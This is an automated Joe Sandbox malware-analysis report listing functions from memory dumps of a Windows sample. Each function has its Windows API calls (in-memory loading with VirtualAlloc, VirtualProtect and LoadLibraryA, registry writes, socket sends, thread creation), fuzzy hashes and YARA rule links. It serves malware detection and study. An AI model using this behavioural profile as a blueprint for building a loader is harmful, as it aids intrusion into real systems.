Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: 652c7e3dd81a5322d9837539c46bb1ede8e7bbe065106b81e455553d895865ab
Instruction ID: 0b23eb3cb3c52e9bd3409543aea26d9ecad7711a67d48cea0e6a6d3c510f93dd
Opcode Fuzzy Hash: 652c7e3dd81a5322d9837539c46bb1ede8e7bbe065106b81e455553d895865ab
Instruction Fuzzy Hash: 2FF03C36201AC1C3E7249F25E55879AB332F785BA4F60433ADBA907BE4CF39C5668701

Function 000001CFB93980E0 Relevance: 4.7, APIs: 3, Instructions: 216COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000001CFB9398114

Part of subcall function 000001CFB9399128: malloc.LIBCMT ref: 000001CFB9399142

SleepEx.KERNEL32 ref: 000001CFB939828D

Part of subcall function 000001CFB93992D0: _errno.LIBCMT ref: 000001CFB93992EF
Part of subcall function 000001CFB93992D0: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB93992FB

Part of subcall function 000001CFB93992D0: _errno.LIBCMT ref: 000001CFB939932B

SleepEx.KERNEL32 ref: 000001CFB9398334

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Sleep$_errno$_invalid_parameter_noinfomalloc
String ID:
API String ID: 3746343157-0
Opcode ID: a0bf53fd14b18baa06dae27eec97fe0d1a6922e2a394531e4f28ced092993dc4
Instruction ID: 64b23afb6dd4bba10de44fa948927357136ff99c4deeede422d3597ba9333265
Opcode Fuzzy Hash: a0bf53fd14b18baa06dae27eec97fe0d1a6922e2a394531e4f28ced092993dc4
Instruction Fuzzy Hash: FA715F312546498FF754EF28D895BE977A6FB89300F58452EE44BC31A2DB38DE42C782

Function 000001CFB9396682 Relevance: 4.6, APIs: 3, Instructions: 110registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 000001CFB93966EC
RegDeleteValueW.KERNEL32 ref: 000001CFB93966FE
RegSetValueExW.KERNEL32 ref: 000001CFB9396726

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Value$DeleteOpen
String ID:
API String ID: 821670891-0
Opcode ID: 5b51d0f07fe2ec2a12fe00e65f7005416d701acb93c52f3d52654ca2c179eb4d
Instruction ID: 23b183deb0cd08d989852096b653ae418e16cec97732cf8baa8a0b2e77119578
Opcode Fuzzy Hash: 5b51d0f07fe2ec2a12fe00e65f7005416d701acb93c52f3d52654ca2c179eb4d
Instruction Fuzzy Hash: B9313E306487488FF748EB28D858BDA77E6FF84345F584A2DE156C22A4DB38C985CB41

Function 00007FF6F6083A57 Relevance: 4.6, APIs: 3, Instructions: 105COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6F6083A88
__scrt_release_startup_lock.LIBCMT ref: 00007FF6F6083AF6
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6F6083B49

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 1152625263-0
Opcode ID: 61287d11c25f32e521161f209feba58a36412df61d1ac03f0bb13480fc72a213
Instruction ID: e50d4d6f512934eff736806c8e7b319826e98d95d9daa145d5dbdc6909f6153a
Opcode Fuzzy Hash: 61287d11c25f32e521161f209feba58a36412df61d1ac03f0bb13480fc72a213
Instruction Fuzzy Hash: CB416820E0C64341FB58EBB5A6523B92289AFD1344F685435DA7EC72F3FE6FA8458301

Function 000001CFB960B6D0 Relevance: 4.5, APIs: 3, Instructions: 31COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB960B6F0
GdiplusStartup.GDIPLUS ref: 000001CFB960B72C
LeaveCriticalSection.KERNEL32 ref: 000001CFB960B746

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 33b4bd6e2f87f441e3fd96ec6b98b4ecf2029651f8cca78304b2f89041d54879
Instruction ID: d045182b68ae283567d840be811d266e9d96c8c73bcbf4cf2e286fb110a7f44d
Opcode Fuzzy Hash: 33b4bd6e2f87f441e3fd96ec6b98b4ecf2029651f8cca78304b2f89041d54879
Instruction Fuzzy Hash: ED011A35548BC382FB449F15E9807D973B7F7A0745F84412AD586425A4CF7CCA5ACB00

Function 000001CFB93144A1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000001CFB931456F

Strings

l, xrefs: 000001CFB9314509

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: l
API String ID: 1029625771-2517025534
Opcode ID: 1385f4a438fc17bb376d03bd0145f1e19b120c532c3e81762a8c516170bfbca4
Instruction ID: f9abdee970300a051bfe49d4d337b643c96764b205d409c2dc0e270cb449ac9e
Opcode Fuzzy Hash: 1385f4a438fc17bb376d03bd0145f1e19b120c532c3e81762a8c516170bfbca4
Instruction Fuzzy Hash: BF319030558AD58FF795DB28C048B66BBE9FFA9308F2856BC90DAC71A2D720D9078701

Function 000001CFB95B00DC Relevance: 3.4, APIs: 2, Instructions: 391memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB95B0157
LoadLibraryA.KERNEL32 ref: 000001CFB95B02BD

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 22a59f860d870a6bcf201ec3191bb530606b5caa03c236b8628a20c22f198a64
Instruction ID: a9380a58562cd1c127dec311cf09ed45d6d0ef8b85a371664be19f28d08e0e13
Opcode Fuzzy Hash: 22a59f860d870a6bcf201ec3191bb530606b5caa03c236b8628a20c22f198a64
Instruction Fuzzy Hash: 86C1E334294A4A8BEB689E68C9C4BB5B3E1FB55301F14413DD88AC3285EB74ED92C7D1

Function 000001CFB9603A50 Relevance: 3.1, APIs: 2, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 000001CFB9603AB3
send.WS2_32 ref: 000001CFB9603B00

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: e5b400f1e4516aa0803fed4f772d5bd127400e170aad474a78b21ea62f3b727e
Instruction ID: 81fc3fcae6218fa73c49dedffcf286af3f969f9d1bf2827c0f44c5dc7452ed30
Opcode Fuzzy Hash: e5b400f1e4516aa0803fed4f772d5bd127400e170aad474a78b21ea62f3b727e
Instruction Fuzzy Hash: BB210832640AC242F3604B12F8C4F9A76B2F798BD8F04113AEF1943B91E775C9438308

Function 000001CFB9311D1D Relevance: 3.1, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB93144A1: LoadLibraryA.KERNEL32 ref: 000001CFB931456F

VirtualProtect.KERNEL32 ref: 000001CFB9311D6B
VirtualProtect.KERNEL32(?,?,?,?,?,?,-00000001,000001CFB9312EB4), ref: 000001CFB9311D93

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 59fb7dff92b0f7852036e505a9d953d2edd625376deed43e8a97f635c863a1ff
Instruction ID: 3d19a9cf5b630499a95d16716c89753d7244cc6b655eabde962a81af49a42544
Opcode Fuzzy Hash: 59fb7dff92b0f7852036e505a9d953d2edd625376deed43e8a97f635c863a1ff
Instruction Fuzzy Hash: 3C11AC31358A584BDB94EB18D485BBA73E5FFD8340F18457DAC4AC7255DF20DE428781

Function 000001CFB9398650 Relevance: 3.1, APIs: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000001CFB9398681
free.LIBCMT ref: 000001CFB93986C4

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: CreateHeapfree
String ID:
API String ID: 2345683253-0
Opcode ID: 1de35667c4491ff6d1491348858e0d4b0818fad769f9b683ab588cdfd6fe5441
Instruction ID: 2a3fc90452aaa157d4c6fdbfec6b9e10f6af05aad1c335ce5f56b88048700977
Opcode Fuzzy Hash: 1de35667c4491ff6d1491348858e0d4b0818fad769f9b683ab588cdfd6fe5441
Instruction Fuzzy Hash: 471113B0918A188FEB94DF18D4C47517BE9EF48704F6445AEA909CB25AC770C982CBC0

Function 000001CFB9398580 Relevance: 3.0, APIs: 2, Instructions: 48threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageA.USER32 ref: 000001CFB93985B2

Part of subcall function 000001CFB93973D0: _wcsrev.LIBCMT ref: 000001CFB9397411

CreateThread.KERNEL32 ref: 000001CFB93985DE

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Thread$CreateMessagePost_wcsrev
String ID:
API String ID: 4143106411-0
Opcode ID: 152ae417eb4b62f33c842a60702934fe7b1e65802cfc5c2bd98c8d5dbe26bc31
Instruction ID: 644c876923fc3839e3081e635f1a6e119649b2cc86a67ef9779c126950a60409
Opcode Fuzzy Hash: 152ae417eb4b62f33c842a60702934fe7b1e65802cfc5c2bd98c8d5dbe26bc31
Instruction Fuzzy Hash: FB015E707145058FE728EF74EC5D1797BE2FB89312B41863AA457C29B0DF384501AA42

Function 000001CFB960F170 Relevance: 3.0, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000001CFB960F1A1
free.LIBCMT ref: 000001CFB960F1E4

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateHeapfree
String ID:
API String ID: 2345683253-0
Opcode ID: 2e347fcba473973204389cff578f1acf52d540e9d7daa0cdd23c5056874622e4
Instruction ID: 9d9def22907ed83a69a16c5995359aecff173e859daabc987558a1e77cb2bf66
Opcode Fuzzy Hash: 2e347fcba473973204389cff578f1acf52d540e9d7daa0cdd23c5056874622e4
Instruction Fuzzy Hash: A1117CB25217A0C6F744CF28E48074937BAF748F48F25512AEB4957758CB78C882CB80

Function 000001CFB9393310 Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 000001CFB939334D
closesocket.WS2_32 ref: 000001CFB939336A

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: closesocketsetsockopt
String ID:
API String ID: 553142124-0
Opcode ID: 77c2693313518921cd1b9c8efffd3d9e865a5c66b2e60eb56a87be25d9ebaed2
Instruction ID: b6a2d4a08e4454521ba372f46659c5deb02d7b25398f81e5b88216843b30245d
Opcode Fuzzy Hash: 77c2693313518921cd1b9c8efffd3d9e865a5c66b2e60eb56a87be25d9ebaed2
Instruction Fuzzy Hash: 5F016D70218A458FE744DF68D848B96B7B1FF88315F50432CE15EC72A0CB399851CB82

Function 000001CFB96037D0 Relevance: 3.0, APIs: 2, Instructions: 37sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 000001CFB96037FB
timeGetTime.WINMM ref: 000001CFB960381F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 77ee5b6c6589e47e27a32890b617e9f8f43f170f7971284fab1d9a22a6fd6b20
Instruction ID: 0366515f04396daf1f795fe5a3331b6d2afb58c076d7cdbcb15862639839c492
Opcode Fuzzy Hash: 77ee5b6c6589e47e27a32890b617e9f8f43f170f7971284fab1d9a22a6fd6b20
Instruction Fuzzy Hash: 0A01D8326046C187F7648B24D2C4BAC3773F348B45F000239C75603AD0CB78CAA6C705

Function 000001CFB9610D30 Relevance: 3.0, APIs: 2, Instructions: 20synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000001CFB9610D5B
WaitForSingleObject.KERNEL32 ref: 000001CFB9610D6E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 7b0bb7bbe43155a50ef1fbcb0573ed9ed8b30bcd02ad1d16f7930aff955f32ce
Instruction ID: 1a29e55741400fa244ce2a8a784ce43b754cc4e6b02f395edd03a1b006118207
Opcode Fuzzy Hash: 7b0bb7bbe43155a50ef1fbcb0573ed9ed8b30bcd02ad1d16f7930aff955f32ce
Instruction Fuzzy Hash: 8EE0ED31D45AC286FB619B74EC45BC532F3F795328F90523E9499422A4EF3CCA568644

Function 000001CFB9391080 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB93910F8
VirtualFree.KERNELBASE ref: 000001CFB9391133

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 94c7016ab2636b5593df99f46c9914e648a045f6aa69c007a8dbfde07d768e9c
Instruction ID: 3724752795a1d1267f686d2e9d5378f2a3140d69735bbc6a8b51b58cfc26dfa1
Opcode Fuzzy Hash: 94c7016ab2636b5593df99f46c9914e648a045f6aa69c007a8dbfde07d768e9c
Instruction Fuzzy Hash: D041F630658A884BEB4C9E5CD44277573E6FBC9305F28826EE84AC724ADB30DD53CB81

Function 000001CFB93911F0 Relevance: 2.6, APIs: 2, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB9391261
VirtualFree.KERNELBASE ref: 000001CFB9391295

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 55e2e7680265c973ffa1402e91b46b56024d44e698dc05e421f391570d180b39
Instruction ID: 70c5c53efbc893b8d49f2abac35e41e0b1b95536ba011f99470416a051eb731c
Opcode Fuzzy Hash: 55e2e7680265c973ffa1402e91b46b56024d44e698dc05e421f391570d180b39
Instruction Fuzzy Hash: 3E217130618A494FEB84EF6DD444765B3F1FB98305F58866EE44AD3244D734DDC28B81

Function 000001CFB9601140 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB96011B1
VirtualFree.KERNEL32 ref: 000001CFB96011E5

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8303c3e4668dae72bfe50a81cfd7d80abcd5397e62f95a8cd0872008db4cf539
Instruction ID: c6fe33e61a90b1336228a6e023063dabb7ff9e7188378c74ed4e9ecaff684196
Opcode Fuzzy Hash: 8303c3e4668dae72bfe50a81cfd7d80abcd5397e62f95a8cd0872008db4cf539
Instruction Fuzzy Hash: A8218332714A8187E748DB2AE580B59B3B3F749B80F548539EA5993748DF34DDE38B40

Function 000001CFB9601080 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB96010D3
VirtualFree.KERNEL32 ref: 000001CFB960110C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 589145581fe8846709afbff4a435c03ae035fa6c44f0b84fefac36e8fb5e0a43
Instruction ID: 86042e8100e1eedfeab8f6b85577f5162412265ebc5a22697d7d922842995e1f
Opcode Fuzzy Hash: 589145581fe8846709afbff4a435c03ae035fa6c44f0b84fefac36e8fb5e0a43
Instruction Fuzzy Hash: 83118131714A8586E758DB26E580B59B3B7E794BC4F14C129DA4A83758EF38CA92CB40

Function 00007FF6F6083710 Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F608384D

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: edba40cea0880d194ebaa201299cea23ff4f6bb981d96338f85a74e8e429ba8b
Instruction ID: 406317de8859bf8aa0a375d4802514331fc3c0db9d7a5c88e96fab3b67910fb8
Opcode Fuzzy Hash: edba40cea0880d194ebaa201299cea23ff4f6bb981d96338f85a74e8e429ba8b
Instruction Fuzzy Hash: D9319372619B8681EB28DAB5D20427DA359BB84BE0F684635CBBD877E5EE7DD041C300

Function 000001CFB9393B10 Relevance: 1.6, APIs: 1, Instructions: 101networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 000001CFB9393BC0

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 993fe9fb8bd5cda1ffd7d49de116850fd78509aad300088003f3a940471f662b
Instruction ID: a7ebbacc9f6db5956069daf4d990a87c24feab5731e023f3e26cf590659b3ac6
Opcode Fuzzy Hash: 993fe9fb8bd5cda1ffd7d49de116850fd78509aad300088003f3a940471f662b
Instruction Fuzzy Hash: E721D67054CA880FE768AA28D8467B933E5EB85314F28113DE99FC3192E770DD534686

Function 000001CFB93937E0 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000001CFB939380B

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 88df6c9814dd7951e769eaa4fec861968935f3fc4ebb5d812e480bd371ef65fc
Instruction ID: 4046ced1bdc44884a1783ac72c7e28a850fba9a1fb220f1c07a4a4b1c361e8d3
Opcode Fuzzy Hash: 88df6c9814dd7951e769eaa4fec861968935f3fc4ebb5d812e480bd371ef65fc
Instruction Fuzzy Hash: B00180706186458FF7989B28D088BA8B7E2FF88305F5C066DE05AC21D1CB74DD86C742

Function 000001CFB9393C10 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000001CFB9393C2B

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bc31317e1241cbe88b87a2fddbfd8f69b2015d3f2dce8f37f5b894eda6bc4ee3
Instruction ID: 10b42ba17488e3b414c7864365416a4ecbdd30ee14c620697ce26bd59c9482f1
Opcode Fuzzy Hash: bc31317e1241cbe88b87a2fddbfd8f69b2015d3f2dce8f37f5b894eda6bc4ee3
Instruction Fuzzy Hash: DFF03A302109048FEB48EF79D8986A037A1FB9D322F548365A97ACA2F5CB754881CB55

Function 000001CFB9399EC8 Relevance: 1.5, APIs: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000001CFB9399EDE

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 548033a4c8ebb5abcb3e3bdf629b7b62b8a0c9b1179596de6b3cb96c9a1ceea0
Instruction ID: 046c8ed7c50a47ea4ff79a0b177faaf496b88432cad583347e7f3cbbe5648b82
Opcode Fuzzy Hash: 548033a4c8ebb5abcb3e3bdf629b7b62b8a0c9b1179596de6b3cb96c9a1ceea0
Instruction Fuzzy Hash: 68F065302149844BF788AB28EC5D796B7E5FB88301F848439A94BC2190DF7CC5828745

Function 00007FF6F6083910 Relevance: 1.5, APIs: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F6083946

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d025a0e1d41393ba07662206550253d192c19e5506cd72aa5c0ac771977cc478
Instruction ID: eb8ee943d22e061f1d3bf1554c1c4d78764553fdb5acf73dc59d3013769754b3
Opcode Fuzzy Hash: d025a0e1d41393ba07662206550253d192c19e5506cd72aa5c0ac771977cc478
Instruction Fuzzy Hash: 05E0EC50E4D10701FF5CA6B226160B5014C8FA8770E3C2B30DABD842E7BE1EA4578211

Function 000001CFB9399430 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9399434

Part of subcall function 000001CFB9399430: RtlExitUserThread.NTDLL ref: 000001CFB9399428

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: ExitThreadUser_getptd
String ID:
API String ID: 4236301427-0
Opcode ID: 6728eb8ad14789e92f053a9f08787bb6a57bfc41c8639fd74269a17bdb9f7047
Instruction ID: a94892f993fe48435e3ca417aa72f8abfdd1a8da4a2fcde3edb60c33438706d0
Opcode Fuzzy Hash: 6728eb8ad14789e92f053a9f08787bb6a57bfc41c8639fd74269a17bdb9f7047
Instruction Fuzzy Hash: 1DD0C930AC25444BEE48B374C46AFE833A69F85300F9E10B8A40AC3293DE5E8D568201

Function 000001CFB9612224 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9612228

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

